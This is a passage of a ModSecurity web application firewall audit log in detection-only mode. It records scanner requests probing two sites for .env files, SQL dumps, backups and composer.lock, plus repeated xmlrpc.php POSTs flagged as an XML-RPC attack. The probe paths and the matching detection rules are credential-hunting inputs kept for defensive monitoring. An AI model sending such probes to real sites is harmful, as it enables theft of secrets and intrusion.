<https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=53426cb67919082759f6509b32efcc111750013195; expires=Sun, 15 Jun 2025 19:46:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --08885a44-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wp-konfig.php.old"] [unique_id "aE8VCnJNE8RtYqH8JCs9BgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013194719773 655676 (- - -) Stopwatch2: 1750013194719773 655676; combined=1665, p1=327, p2=1235, p3=0, p4=0, p5=102, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --08885a44-Z-- --d2942e6a-A-- [16/Jun/2025:00:16:43.977590 +0530] aE8VEyKD19h5xDtM-2wVjgAAAAo 185.177.72.210 35110 127.0.0.1 7081 --d2942e6a-B-- GET /:8443/v1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d2942e6a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=23b52efdc8ef3018c98543be600dbe2d1750013203; expires=Sun, 15 Jun 2025 19:46:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d2942e6a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/v1/.env"] [unique_id "aE8VEyKD19h5xDtM-2wVjgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013203166187 811468 (- - -) Stopwatch2: 1750013203166187 811468; combined=1675, p1=349, p2=1216, p3=0, p4=0, p5=109, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d2942e6a-Z-- --3ee6455f-A-- [16/Jun/2025:00:17:20.319717 +0530] aE8VN8S9iiS_j7H7Go62YgAAAAU 128.199.112.101 54102 127.0.0.1 7081 --3ee6455f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 498 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --3ee6455f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --3ee6455f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8VN8S9iiS_j7H7Go62YgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013239388633 931197 (- - -) Stopwatch2: 1750013239388633 931197; combined=2464, p1=363, p2=1698, p3=45, p4=66, p5=178, sr=100, sw=114, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3ee6455f-Z-- --5feb2640-A-- [16/Jun/2025:00:18:20.223577 +0530] aE8Vc1eqy5hRjKvJEAyWCwAAAAE 128.199.112.101 38326 127.0.0.1 7081 --5feb2640-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --5feb2640-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --5feb2640-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Vc1eqy5hRjKvJEAyWCwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013299291024 932610 (- - -) Stopwatch2: 1750013299291024 932610; combined=2032, p1=353, p2=1303, p3=39, p4=63, p5=171, sr=97, sw=103, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5feb2640-Z-- --d9d53564-A-- [16/Jun/2025:00:18:56.828029 +0530] aE8VmChnDkBlcF0fkxMHxAAAAAQ 185.177.72.210 44584 127.0.0.1 7081 --d9d53564-B-- GET /:8181/api/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d9d53564-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cadc89f4f9b73225d1260818c077506f1750013336; expires=Sun, 15 Jun 2025 19:48:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d9d53564-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/api/.env.production"] [unique_id "aE8VmChnDkBlcF0fkxMHxAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013336157431 670661 (- - -) Stopwatch2: 1750013336157431 670661; combined=1893, p1=366, p2=1435, p3=0, p4=0, p5=92, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d9d53564-Z-- --d623b020-A-- [16/Jun/2025:00:18:57.813563 +0530] aE8VmWuCR1auBLUP7R-mHwAAAAg 185.177.72.210 44632 127.0.0.1 7081 --d623b020-B-- GET /_vti_bin/_vti_aut/author.dll HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d623b020-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1b473a75f2cd2d44c6fb46ca2971399b1750013337; expires=Sun, 15 Jun 2025 19:48:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d623b020-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dll"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/_vti_bin/_vti_aut/author.dll"] [unique_id "aE8VmWuCR1auBLUP7R-mHwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013337150038 663601 (- - -) Stopwatch2: 1750013337150038 663601; combined=1999, p1=395, p2=1509, p3=0, p4=0, p5=95, sr=117, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d623b020-Z-- --ae1f9814-A-- [16/Jun/2025:00:19:03.088800 +0530] aE8VniKD19h5xDtM-2wV4gAAAAo 185.177.72.210 53964 127.0.0.1 7081 --ae1f9814-B-- GET /orders.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ae1f9814-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a7810b87d0f5056b1c9c250f6ebd9f3e1750013342; expires=Sun, 15 Jun 2025 19:49:02 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ae1f9814-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/orders.sql"] [unique_id "aE8VniKD19h5xDtM-2wV4gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013342312782 776119 (- - -) Stopwatch2: 1750013342312782 776119; combined=2024, p1=364, p2=1542, p3=0, p4=0, p5=117, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ae1f9814-Z-- --7a55ae78-A-- [16/Jun/2025:00:19:04.108467 +0530] aE8Vn1eqy5hRjKvJEAyWLgAAAAE 185.177.72.210 54016 127.0.0.1 7081 --7a55ae78-B-- GET /.env-example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7a55ae78-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=634b887d1ddc3c6896a85e0b0fe36e781750013343; expires=Sun, 15 Jun 2025 19:49:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7a55ae78-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env-example"] [unique_id "aE8Vn1eqy5hRjKvJEAyWLgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013343440672 667859 (- - -) Stopwatch2: 1750013343440672 667859; combined=2560, p1=529, p2=1908, p3=0, p4=0, p5=122, sr=143, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7a55ae78-Z-- --911c3325-A-- [16/Jun/2025:00:19:06.128765 +0530] aE8VoWuCR1auBLUP7R-mIwAAAAg 185.177.72.210 54122 127.0.0.1 7081 --911c3325-B-- GET /composer.lock HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --911c3325-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c3cc787f837eb287ffd3bf3a8de682851750013345; expires=Sun, 15 Jun 2025 19:49:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --911c3325-H-- Message: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/composer.lock"] [unique_id "aE8VoWuCR1auBLUP7R-mIwAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013345458811 670017 (- - -) Stopwatch2: 1750013345458811 670017; combined=2065, p1=378, p2=1588, p3=0, p4=0, p5=98, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --911c3325-Z-- --79fd2427-A-- [16/Jun/2025:00:19:08.197784 +0530] aE8Vo1eqy5hRjKvJEAyWMAAAAAE 185.177.72.210 54198 127.0.0.1 7081 --79fd2427-B-- GET /.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --79fd2427-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=93dce485f78798a45fbdb137ef2062761750013348; expires=Sun, 15 Jun 2025 19:49:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --79fd2427-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.bak"] [unique_id "aE8Vo1eqy5hRjKvJEAyWMAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013347541868 656001 (- - -) Stopwatch2: 1750013347541868 656001; combined=2469, p1=333, p2=2031, p3=0, p4=0, p5=105, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --79fd2427-Z-- --9f3d414f-A-- [16/Jun/2025:00:19:12.237364 +0530] aE8Vp3JNE8RtYqH8JCs9YgAAAAI 185.177.72.210 40452 127.0.0.1 7081 --9f3d414f-B-- GET /var/backup/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9f3d414f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fe9f903010eb2b5a8af594c7f00629e31750013352; expires=Sun, 15 Jun 2025 19:49:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9f3d414f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/var/backup/.env"] [unique_id "aE8Vp3JNE8RtYqH8JCs9YgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013351564045 673383 (- - -) Stopwatch2: 1750013351564045 673383; combined=1883, p1=391, p2=1395, p3=0, p4=0, p5=97, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9f3d414f-Z-- --3a327116-A-- [16/Jun/2025:00:19:14.216308 +0530] aE8VqaSMmxZaGWa7XLL5nwAAAAY 185.177.72.210 40528 127.0.0.1 7081 --3a327116-B-- GET /:8181/staging2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3a327116-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b75369cc10b15ba87a7e4bf82981e8441750013354; expires=Sun, 15 Jun 2025 19:49:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3a327116-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/staging2/.env"] [unique_id "aE8VqaSMmxZaGWa7XLL5nwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013353533173 683198 (- - -) Stopwatch2: 1750013353533173 683198; combined=1646, p1=356, p2=1199, p3=0, p4=0, p5=91, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a327116-Z-- --cc7fad6f-A-- [16/Jun/2025:00:19:20.397543 +0530] aE8Vr3JNE8RtYqH8JCs9ZQAAAAI 128.199.112.101 36642 127.0.0.1 7081 --cc7fad6f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --cc7fad6f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --cc7fad6f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8Vr3JNE8RtYqH8JCs9ZQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013359439321 958277 (- - -) Stopwatch2: 1750013359439321 958277; combined=2589, p1=529, p2=1663, p3=39, p4=61, p5=186, sr=132, sw=111, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cc7fad6f-Z-- --4c85c27b-A-- [16/Jun/2025:00:19:21.514179 +0530] aE8VsCKD19h5xDtM-2wV6wAAAAo 185.177.72.210 36740 127.0.0.1 7081 --4c85c27b-B-- GET /:8880/docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4c85c27b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c7d95ed37371d922d55d5eb0666dbc071750013361; expires=Sun, 15 Jun 2025 19:49:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4c85c27b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: 